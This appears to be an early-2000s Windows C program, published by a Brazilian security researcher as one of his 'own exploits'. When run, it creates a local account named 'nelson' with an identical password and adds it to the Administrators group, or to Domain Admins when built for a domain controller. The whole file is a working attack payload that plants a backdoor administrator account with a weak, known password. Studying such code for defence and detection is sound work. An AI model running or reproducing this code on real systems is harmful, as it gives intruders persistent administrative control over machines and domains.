/*
 * Autor         :       Nelson Brito
 * Email         :       nelson@secunet.com.br
 * Data          :       Belém, 09 de Dezembro de 2000
 * Publicado     :       Rio de Janeiro, 13 de Fevereiro de 2001
 * Versão        :       0.6 Mínima - Pública & Limitada
 * BOS-Br's Code :       stderr-02-2001
 */

/*
 * Agradecimentos:
 * Thiago Zaninotti, Gustavo Scotti, Fábio Ramos, Sérgio Monteiro,
 * Rafael, Nilson R. A. de Brito, Felipe(falcon@sekure), corb(Manu),
 * Alexandre Vianna, Márcio Dantas, Carlinha(mi amore), Mamãe,
 * Helge H. Fischer, Andréa Coulart, André Silveira.
 */

/*
 * E dizem que não sou a favor de OpenSource, é mole. ;)
 *
 * Isto que é programar "meus próprios exploits". >:\
 *
 * Aguarde por mais novidades ainda esta semana... *8@)
 */
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <wchar.h>
#include <lmaccess.h>
#include <lm.h>
#include <winbase.h>

/*
 * Automatizando o processo de "link" edição.
 */
#pragma comment(lib, "netapi32")

/*
 * Função principal.
 */
int APIENTRY WinMain(HINSTANCE hInstance, 
                     HINSTANCE hPrevInstance, 
                     LPSTR lpCmdLine, 
                     int nCmdShow)
{

        LPWSTR          UsrAcc      =   L"nelson";

/*
 * O servidor testado é PDC?
 */
#ifdef _PDC_SRV
        LPWSTR          SrvPDC      =   L"\\PDC_Server";
        LPWSTR          AdmGroup    =   L"Domain Admins";
#else
        LPWSTR          SrvPDC      =   NULL;
        LPWSTR          AdmGroup    =   L"Administrators";
        DWORD           dwGALevel   =   3;
        DWORD           dwTotalEnt  =   1;
#endif

        LPWSTR          TitleDEF    =   L"Desenvolvido por Nelson Brito";
        LPWSTR          MsgB1       =   L"Continua a execução?";
        LPWSTR          MsgB2       =   L"Programa executado com SUCESSO!";
        LPWSTR          MsgB3       =   L"Execução CANCELADA pelo usuário!";

        USER_INFO_1     ui;
        NET_API_STATUS  nStatus1    =   0;
        NET_API_STATUS  nStatus2    =   0;

        DWORD           dwUALevel   =   1;
        DWORD           dwUAError   =   0;

        /*
         * Estrutura para criação do "novo usuário".
         */
        ui.usri1_name               =   UsrAcc;
        ui.usri1_password           =   UsrAcc;
        ui.usri1_priv               =   USER_PRIV_USER;
        ui.usri1_home_dir           =   NULL;
        ui.usri1_comment            =   L"Security Analyst and Penetration Tester";
        ui.usri1_flags              =   UF_SCRIPT;
        ui.usri1_script_path        =   NULL;

        /*
         * Questiona ao usuário se ele||ela deseja continuar a execução.
         */
        switch(MessageBox(NULL, MsgB1, TitleDEF, MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND))
        {
                case IDYES:
                        /*
                         * Adicionando nosso "novo usuário".
                         */
                        switch(nStatus1 = NetUserAdd(SrvPDC, dwUALevel, (LPBYTE)&ui, &dwUAError))
                        {
                                case ERROR_ACCESS_DENIED:
                                        MessageBox(NULL, L"NetUserAdd(): ERROR_ACCESS_DENIED", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_InvalidComputer:
                                        MessageBox(NULL, L"NetUserAdd(): NERR_InvalidComputer", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_NotPrimary:
                                        MessageBox(NULL, L"NetUserAdd(): NERR_NotPrimary", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_GroupExists:
                                        MessageBox(NULL, L"NetUserAdd(): NERR_GroupExists", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_UserExists:
                                        MessageBox(NULL, L"NetUserAdd(): NERR_UserExists", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_PasswordTooShort:
                                        MessageBox(NULL, L"NetUserAdd(): NERR_PasswordTooShort", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_Success:
                                        break;
                        }               
/*
 * O servidor testado é PDC?
 */
#ifdef _PDC_SRV
                        /* 
                         * Adiciona nosso "novo usuário" ao GlobalGroup dos
                         * "Domain Admins".
                         */
                        switch(nStatus2 = NetGroupAddUser(SrvPDC, AdmGroup, UsrAcc))
                        {
                                case ERROR_ACCESS_DENIED:
                                        MessageBox(NULL, L"NetGroupAddUser(): ERROR_ACCESS_DENIED", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_InvalidComputer:
                                        MessageBox(NULL, L"NetGroupAddUser(): NERR_InvalidComputer", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_NotPrimary:
                                        MessageBox(NULL, L"NetGroupAddUser(): NERR_NotPrimary", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_SpeGroupOp:
                                        MessageBox(NULL, L"NetGroupAddUser(): NERR_SpeGroupOp", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_UserNotFound:
                                        MessageBox(NULL, L"NetGroupAddUser(): NERR_UserNotFound", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_GroupNotFound:
                                        MessageBox(NULL, L"NetGroupAddUser(): NERR_GroupNotFound", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_Success:
                                        MessageBox(NULL, MsgB2, TitleDEF, MB_OK|MB_ICONEXCLAMATION|MB_SETFOREGROUND);
                                        return TRUE;
                                        break;
                        }
#else
                        /* 
                         * Adiciona nosso "novo usuário" ao LocalGroup dos
                         * "Administrators".
                         */
                        switch(nStatus2 = NetLocalGroupAddMembers(SrvPDC, AdmGroup, dwGALevel, (LPBYTE)&ui, dwTotalEnt))
                        {
                                case NERR_GroupNotFound:
                                        MessageBox(NULL, L"NetLocalGroupAddMembers(): NERR_GroupNotFound", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case ERROR_ACCESS_DENIED:
                                        MessageBox(NULL, L"NetLocalGroupAddMembers(): ERROR_ACCESS_DENIED", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case ERROR_NO_SUCH_MEMBER:
                                        MessageBox(NULL, L"NetLocalGroupAddMembers(): ERROR_NO_SUCH_USER", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case ERROR_MEMBER_IN_ALIAS:
                                        MessageBox(NULL, L"NetLocalGroupAddMembers(): ERROR_MEMBER_IN_ALIAS", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case ERROR_INVALID_MEMBER:
                                        MessageBox(NULL, L"NetLocalGroupAddMembers(): ERROR_INVALID_MEMBER", TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                                        exit(1);
                                case NERR_Success:
                                        MessageBox(NULL, MsgB2, TitleDEF, MB_OK|MB_ICONEXCLAMATION|MB_SETFOREGROUND);
                                        return TRUE;
                                        break;
                        }
#endif
                case IDNO:
                        MessageBox(NULL, MsgB3, TitleDEF, MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
                        return FALSE; 
                        break;
        }
        
        return TRUE;
}
/*
 * Copyright © 2000, 2001 Nelson Brito - IBQN / Secunet AG. 
 * All rights reserved.
 *
 * This code is protected under copyright law. You do not have 
 * permission to use this code in a commercial product or 
 * commercial consulting.
 */
